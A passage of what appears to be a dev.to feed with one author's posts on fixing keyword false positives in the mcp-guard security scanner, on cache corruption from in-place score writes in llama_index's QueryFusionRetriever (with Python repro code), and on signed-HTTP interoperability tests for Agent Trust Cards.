&lt;li&gt;only the &lt;em&gt;pathname&lt;/em&gt; of the discovered URL is trusted; it's re-attached to the registry origin, never followed as an absolute host (normalization in the spirit of pacote)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the manifest became the single source of truth: unpinned refs resolve &lt;code&gt;dist-tags&lt;/code&gt; + &lt;code&gt;versions[latest]&lt;/code&gt; from the packument; pinned refs fetch the manifest directly and a 404 there is a real &lt;code&gt;not_found&lt;/code&gt; instead of a disguised &lt;code&gt;unsigned&lt;/code&gt;. Two states that a policy gate (&lt;code&gt;--policy strict&lt;/code&gt;, exit 1 on unsigned) must never confuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The takeaway&lt;/strong&gt;: green tests mean the code matches &lt;em&gt;your model&lt;/em&gt; of the world. The reviewer's repro checked the model. For anything that talks to a live registry, "verified in vivo" needs to include the negative control — and ideally someone who tries the endpoint you were &lt;em&gt;sure&lt;/em&gt; about.&lt;/p&gt;

&lt;h2&gt;
  
  
  The subtle one: when a fix trades a false positive for a false negative
&lt;/h2&gt;

&lt;p&gt;mcp-guard flags tools as write/destructive by keyword. It matched substrings: &lt;code&gt;get_address&lt;/code&gt; contained "add"... which is a write verb fragment; worse, names like &lt;code&gt;read_settings&lt;/code&gt; and &lt;code&gt;search_update_records&lt;/code&gt; tripped the update rule. Read-only tools flagged CRITICAL (&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/84" rel="noopener noreferrer"&gt;#84&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The fix design:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;names&lt;/strong&gt; are tokenized (snake/kebab/camelCase split with &lt;code&gt;[\s_\-.]+&lt;/code&gt; after camel splitting) and matched per whole segment&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;descriptions&lt;/strong&gt; match on word boundaries&lt;/li&gt;
&lt;li&gt;a leading &lt;strong&gt;read-only verb&lt;/strong&gt; (&lt;code&gt;get&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;, &lt;code&gt;search&lt;/code&gt;, &lt;code&gt;fetch&lt;/code&gt;, …) suppresses &lt;em&gt;only&lt;/em&gt; the name-based match — the description channel stays live&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;First version of the guard: &lt;a href="https://github.com/yunaremaia/mcp-guard/pull/88#issuecomment-5972930919-ish" rel="noopener noreferrer"&gt;the review caught it&lt;/a&gt; — &lt;code&gt;get_and_delete_user&lt;/code&gt; stopped flagging. For a security tool, trading "read-only flagged as critical" for "destructive not flagged at all" is the wrong direction. The merged rule: suppression only while the keyword follows the verb &lt;strong&gt;directly through a conjunction&lt;/strong&gt; (&lt;code&gt;get_delete_and_remove_user&lt;/code&gt; still flags, &lt;code&gt;get_and_delete_user&lt;/code&gt; doesn't), plus inflection handling (&lt;code&gt;Deletes&lt;/code&gt;/&lt;code&gt;dropping&lt;/code&gt;/&lt;code&gt;modifies&lt;/code&gt;) for descriptions.&lt;/p&gt;

&lt;p&gt;Same lesson as the fusion post from today, inverted: assert the shape of the whole class, not just the case you came to fix. The test suite parametrizes both directions — the five false positives from the issue &lt;em&gt;and&lt;/em&gt; the true positives the naive guard would have swallowed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The small one: exit codes are API
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;--fail-on low&lt;/code&gt; with a &lt;em&gt;zero-findings&lt;/em&gt; scan exited 1, because &lt;code&gt;max(severities, default=0) &amp;gt;= 0&lt;/code&gt; is always true. An empty scan is "nothing found at the strictest gate" — that's success (&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/82" rel="noopener noreferrer"&gt;#82&lt;/a&gt;, fixed by &lt;code&gt;default=-1&lt;/code&gt;). Two-line fix, two regression tests, and worth filing anyway: CI pipelines drink exit codes, and a flaky &lt;code&gt;1&lt;/code&gt; on clean scans trains people to ignore the gate.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually got three PRs merged
&lt;/h2&gt;

&lt;p&gt;Not talent — shape:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;One mechanism per PR.&lt;/strong&gt; The exit-code PR didn't touch the matcher. The matcher PR didn't touch exit codes. Reviewable in one sitting, revertable independently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tests that fail first.&lt;/strong&gt; Every PR's tests were verified red on &lt;code&gt;main&lt;/code&gt; before the fix was claimed. Three of four in #88, both in #87.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repro before argument.&lt;/strong&gt; Every issue got the mechanism verified live (the exact versions, the exact numbers) before a fix was proposed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review comments answered with commits, not prose.&lt;/strong&gt; Both reviews came back with technical objections; both were answered by push + a comment explaining the diff. The maintainer merged within hours of each.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope honesty.&lt;/strong&gt; &lt;code&gt;drop_in_query&lt;/code&gt; still false-flags (adjective vs verb needs semantics) — documented in the PR as out of scope rather than silently shipped.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The repo is young, the maintainer is fast and rigorous, and the issues are real bugs with clean repros — if you want a place to practice security-tool contributions, &lt;a href="https://github.com/yunaremaia/mcp-guard/issues" rel="noopener noreferrer"&gt;the issue tracker&lt;/a&gt; is open.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclosure: the investigation, fixes and tests were AI-assisted (Claude/GLM), human-directed — same disclosure is on the linked PRs. The mcp-guard maintainer's reviews are what made all three PRs better than their first versions.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>security</category>
      <category>supplychain</category>
      <category>python</category>
    </item>
    <item>
      <title>One bug class, four fusion modes: finding cache corruption in QueryFusionRetriever</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 21:21:09 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/one-bug-class-four-fusion-modes-finding-cache-corruption-in-queryfusionretriever-1h0h</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/one-bug-class-four-fusion-modes-finding-cache-corruption-in-queryfusionretriever-1h0h</guid>
      <description>&lt;h2&gt;
  
  
  What happened
&lt;/h2&gt;

&lt;p&gt;On 2026-10-03, &lt;a href="https://github.com/run-llama/llama_index/issues/23332" rel="noopener noreferrer"&gt;michaelswissa filed a bug&lt;/a&gt; in &lt;code&gt;llama_index&lt;/code&gt;: &lt;code&gt;QueryFusionRetriever&lt;/code&gt; corrupts rankings when a caching retriever returns shared &lt;code&gt;NodeWithScore&lt;/code&gt; wrappers. Relative and distance-based fusion normalize scores &lt;strong&gt;in place&lt;/strong&gt;, so a wrapper shared across queries gets normalized for one result set and then read back as if it were another's.&lt;/p&gt;

&lt;p&gt;His patch (&lt;a href="https://github.com/run-llama/llama_index/pull/23333" rel="noopener noreferrer"&gt;#23333&lt;/a&gt;) fixes two of the four fusion modes. While reviewing it, I extended his reproduction script to all four modes — and the same mutation class was live in the other two:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;reciprocal_rerank&lt;/code&gt; writes fused scores back into the retriever's own wrappers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;simple&lt;/code&gt; mutates the first-seen wrapper for a node hash (the subtle one)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Filed as &lt;a href="https://github.com/run-llama/llama_index/issues/23351" rel="noopener noreferrer"&gt;#23351&lt;/a&gt;; the &lt;code&gt;simple&lt;/code&gt; half is fixed in &lt;a href="https://github.com/run-llama/llama_index/pull/23352" rel="noopener noreferrer"&gt;#23352&lt;/a&gt;. This post is the full anatomy of the bug class, because it generalizes far past this retriever.&lt;/p&gt;

&lt;h2&gt;
  
  
  The class: fusion that mutates what it doesn't own
&lt;/h2&gt;

&lt;p&gt;Every fusion mode receives &lt;code&gt;Dict[Tuple[str, int], List[NodeWithScore]]&lt;/code&gt; — query results the &lt;em&gt;retriever&lt;/em&gt; produced. Any write into those wrappers is a write into someone else's state. If the retriever caches (per node, per query, whatever), your "harmless normalization" silently rewrites its cache.&lt;/p&gt;

&lt;p&gt;The original issue caught the loud variant:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# _relative_score_fusion — normalizes in place
&lt;/span&gt;&lt;span class="n"&gt;node_with_score&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node_with_score&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;min_score&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max_score&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;min_score&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A shared wrapper normalized for result set A is then summed again for result set B. The relevant document ends up at &lt;code&gt;-3.0&lt;/code&gt; and ranks last. Loud, reproducible, fixed by #23333.&lt;/p&gt;

&lt;h2&gt;
  
  
  The quiet variant: reciprocal_rerank
&lt;/h2&gt;

&lt;p&gt;RRF computes ranks first, scores second, then writes back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;reranked_nodes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash_to_node&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;reranked_nodes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;   &lt;span class="c1"&gt;# writes into the retriever's wrapper
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The current call's ranking is correct — ranks were computed before the write-back. The corruption lands &lt;em&gt;after&lt;/em&gt;: the cached &lt;code&gt;0.9 / 0.1 / 0.8&lt;/code&gt; become RRF fused scores (&lt;code&gt;~0.0333 / ~0.0164&lt;/code&gt;), and every subsequent retrieval from that cache returns garbage. Same class, but the symptom is invisible unless you assert on the cache itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mode=reciprocal_rerank  ranking=['relevant', 'low', 'other']   # correct
    cache after: orig=[0.0333, 0.0164] alt=[0.0333, 0.0164]    # corrupted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The trap: why &lt;code&gt;simple&lt;/code&gt; looked clean
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;_simple_fusion&lt;/code&gt; dedups by node hash and writes the max back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;max_score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node_with_score&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all_nodes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;all_nodes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;max_score&lt;/span&gt;   &lt;span class="c1"&gt;# writes into the retriever's wrapper
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run the shared-wrapper repro from #23332 against it and &lt;strong&gt;nothing happens&lt;/strong&gt; — &lt;code&gt;max(0.9, 0.9)&lt;/code&gt; is identity. The obvious test passes, the mode looks clean, and the bug ships.&lt;/p&gt;

&lt;p&gt;The trigger requires the same node hash to arrive via &lt;strong&gt;distinct wrappers with different scores&lt;/strong&gt; — exactly what a per-query cache produces when scoring depends on the query (BM25, query-weighted retrievers):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PerQueryCacheRetriever&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseRetriever&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;super&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;TextNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;relevant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;id_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;relevant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;original&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;NodeWithScore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;...],&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alternate&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;NodeWithScore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;...],&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fusion runs; the dedup max-write puts &lt;code&gt;0.9&lt;/code&gt; into the wrapper owned by "original"'s cached results. That query's cache is silently rewritten with another query's score. No exception, no ranking change in the current call — just corrupted state for every future retrieval.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lesson that generalizes&lt;/strong&gt;: a repro built from one cache shape (shared wrappers) is a single point of failure. When the mechanism is "write into inputs," enumerate the aliasing shapes — same object in many lists, distinct objects with one hash — and assert the post-state of &lt;em&gt;every&lt;/em&gt; shape, not just the output.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to find this class anywhere
&lt;/h2&gt;

&lt;p&gt;Three steps, ~30 minutes per suspect function:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Grep for writes into inputs.&lt;/strong&gt; &lt;code&gt;x.score =&lt;/code&gt;, &lt;code&gt;x[...] = ...&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; came from a parameter. In fusion_retriever.py this is literally four functions, two of which write into their arguments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Assert on the caller's state, not the return value.&lt;/strong&gt; Every regression test in #23352 checks &lt;code&gt;base.results[...]&lt;/code&gt; after fusion — the outputs were never wrong; the caches were.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test ownership, not just values.&lt;/strong&gt; The strongest assertion is aliasing: mutate the returned wrapper, assert the input didn't move.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fusion&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;retrieve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;original&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;999.0&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;original&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mf"&gt;0.4&lt;/span&gt;   &lt;span class="c1"&gt;# ownership proven
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The fix family
&lt;/h2&gt;

&lt;p&gt;Two shapes, both correct, different blast radius:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Per-occurrence copies at the dispatch sites&lt;/strong&gt; — one invariant ("fusion works on copies") covering all modes. Copy each wrapper per occurrence &lt;em&gt;per list&lt;/em&gt;, never deduped by identity: the same object appearing in two lists must become two copies, or relative normalization computes the wrong min/max per list. (An identity-keyed copy cache is the wrong-shaped optimization for this exact input.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fresh output wrappers per function&lt;/strong&gt; — what #23352 does for &lt;code&gt;simple&lt;/code&gt;: keep &lt;code&gt;(node, max_score)&lt;/code&gt; tuples in the dedup dict, build new &lt;code&gt;NodeWithScore&lt;/code&gt; objects at the end. Smallest surface, merges alongside in-flight fixes without touching their lines.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One wrinkle worth knowing before you patch a big repo: &lt;a href="https://github.com/run-llama/llama_index/pull/21445" rel="noopener noreferrer"&gt;PR #21445&lt;/a&gt; has been sitting on the RRF write-back since April (blocked, stalled). Any fix that touches those ten lines inherits its rebasing duty. "Is this hunk already claimed?" is now part of my checklist before writing a patch.&lt;/p&gt;

&lt;h2&gt;
  
  
  What landed
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/run-llama/llama_index/issues/23351" rel="noopener noreferrer"&gt;#23351&lt;/a&gt; — the follow-up issue michael asked for, with the distinct-wrapper repro for &lt;code&gt;simple&lt;/code&gt; (michael's review catch: don't trade a false positive for a false negative, keep the fix scoped)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/run-llama/llama_index/pull/23352" rel="noopener noreferrer"&gt;#23352&lt;/a&gt; — the &lt;code&gt;simple&lt;/code&gt;-mode fix: 4 regression tests, 3 fail on &lt;code&gt;main&lt;/code&gt; without it, full retrievers suite green&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Verification was done live against &lt;code&gt;llama-index-core&lt;/code&gt; 0.14.25 before filing anything, and every claim in this post comes from that run — including the numbers.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclosure: the investigation and repro work were AI-assisted (Claude/GLM), human-directed; the same disclosure is on the linked issues and PRs.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>llamaindex</category>
      <category>debugging</category>
      <category>opensource</category>
    </item>
    <item>
      <title>First third-party interop evidence: live Agent Trust Cards over RFC 9421 (conformance v1.4.0)</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 17:39:42 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/first-third-party-interop-evidence-live-agent-trust-cards-over-rfc-9421-conformance-v140-3jm8</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/first-third-party-interop-evidence-live-agent-trust-cards-over-rfc-9421-conformance-v140-3jm8</guid>
      <description>&lt;h2&gt;
  
  
  What happened
&lt;/h2&gt;

&lt;p&gt;On 2026-10-02, the UTA conformance suite captured its first &lt;strong&gt;third-party interoperability evidence&lt;/strong&gt;: three live exchanges between the MarketNow verifier and &lt;a href="https://agentbouncer.io" rel="noopener noreferrer"&gt;AgentBouncer&lt;/a&gt; (beta) — an external agent-trust gateway — over &lt;strong&gt;RFC 9421 signed HTTP&lt;/strong&gt;, with the &lt;code&gt;x-uta-trust&lt;/code&gt; header as a &lt;em&gt;covered component&lt;/em&gt; of the request signature.&lt;/p&gt;

&lt;p&gt;It shipped the next day as &lt;code&gt;@marketnow/uta-conformance@1.4.0&lt;/code&gt; (npm, 2026-10-03T02:36Z) and commit &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/commit/25696d4829" rel="noopener noreferrer"&gt;&lt;code&gt;25696d48&lt;/code&gt;&lt;/a&gt; on &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Three paths were exercised. The three outcomes are the whole point:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;th&gt;Card&lt;/th&gt;
&lt;th&gt;Envelope (AgentBouncer)&lt;/th&gt;
&lt;th&gt;Trust verdict (UTA)&lt;/th&gt;
&lt;th&gt;Composed result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;unsigned control&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;verified: false&lt;/code&gt;, &lt;code&gt;reason: "no_signature"&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;not reached&lt;/td&gt;
&lt;td&gt;rejected at the envelope layer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;allowed&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ATC-2026-003701&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;signature valid, replay checked&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;PASS&lt;/strong&gt; — 8/8 controls, caps match&lt;/td&gt;
&lt;td&gt;allowed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ATC-2026-003702&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;signature valid, replay checked, &lt;code&gt;allowed: true&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;POLICY_FAIL&lt;/strong&gt; — action &lt;code&gt;mcp:tools/call&lt;/code&gt; requires &lt;code&gt;network.egress=allowlist&lt;/code&gt;, card grants none&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Why the denial is the interesting row
&lt;/h2&gt;

&lt;p&gt;Read the third row carefully: &lt;strong&gt;AgentBouncer accepted the request at its own layer, and the composed system still denied it.&lt;/strong&gt; That is the experiment working, not failing.&lt;/p&gt;

&lt;p&gt;The two cards were sent with the &lt;em&gt;same request body&lt;/em&gt; — the &lt;code&gt;content-digest&lt;/code&gt; header is byte-identical in both live requests (&lt;code&gt;sha-256=:vRx4QTR9SRY9lK3tmE4cM1/3IGpPXZ6ij1TcUI5mYmY=:&lt;/code&gt;), same endpoint, same signature coverage. The only variable is the trust token in the covered &lt;code&gt;x-uta-trust&lt;/code&gt; header (2,227 vs 2,220 base64url bytes). One card grants &lt;code&gt;network.egress=allowlist&lt;/code&gt;; the other grants nothing. Everything else held constant, the verdict flipped from PASS to POLICY_FAIL.&lt;/p&gt;

&lt;p&gt;That isolation is what makes the evidence meaningful. It shows the denial is attributable to &lt;strong&gt;trust policy, not transport&lt;/strong&gt; — and that a gateway which passes the envelope cannot smuggle through a card that the trust layer rejects. Composed verdicts, clean attribution, fail-closed at the layer that owns the decision.&lt;/p&gt;

&lt;h2&gt;
  
  
  Covered component, briefly
&lt;/h2&gt;

&lt;p&gt;RFC 9421 signs HTTP messages by listing header fields in &lt;code&gt;Signature-Input&lt;/code&gt;. The &lt;code&gt;x-uta-trust&lt;/code&gt; header is in that list, which means the trust token is &lt;strong&gt;bound into the request signature&lt;/strong&gt;: you cannot sign a request and swap the card afterwards, because the signature check and the card bytes are verified against the same covered set. The card travels as &lt;code&gt;base64url(JSON of the full ATC/1.0 document)&lt;/code&gt; in that header; AgentBouncer verifies the envelope (signature, timestamp, replay, project key/policy) and — per the vendor's own clarification on 2026-10-01 — &lt;strong&gt;does not parse the ATC or enforce its capabilities&lt;/strong&gt;. The UTA verdict is produced independently by the MarketNow verifier.&lt;/p&gt;

&lt;p&gt;Each layer rejects for its own reasons. The unsigned control died at the envelope (&lt;code&gt;no_signature&lt;/code&gt;) without the trust layer ever being reached. The denied card survived the envelope and died at policy. The allowed card passed both. Three outcomes, three different failure/success layers, no ambiguity about who decided what.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is claimed — and what is not
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Claimed:&lt;/strong&gt; two live exchanges captured on 2026-10-02 against AgentBouncer's public test endpoint, envelope-verified by the counterparty, trust-verified by UTA, published as evidence vectors in &lt;code&gt;vectors/third-party/&lt;/code&gt;, with the full request headers, digests, verdicts, and timing in the traces file. Every byte of that is checkable at the URLs below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Not claimed:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;These are &lt;strong&gt;evidence artifacts, not scored vectors&lt;/strong&gt;. The 14-vector scored set is unchanged, byte-for-byte. A live counterparty is neither deterministic nor self-contained, so it cannot be part of the scored set — the scored set must stay runnable offline by a stranger with a git clone and nothing else.&lt;/li&gt;
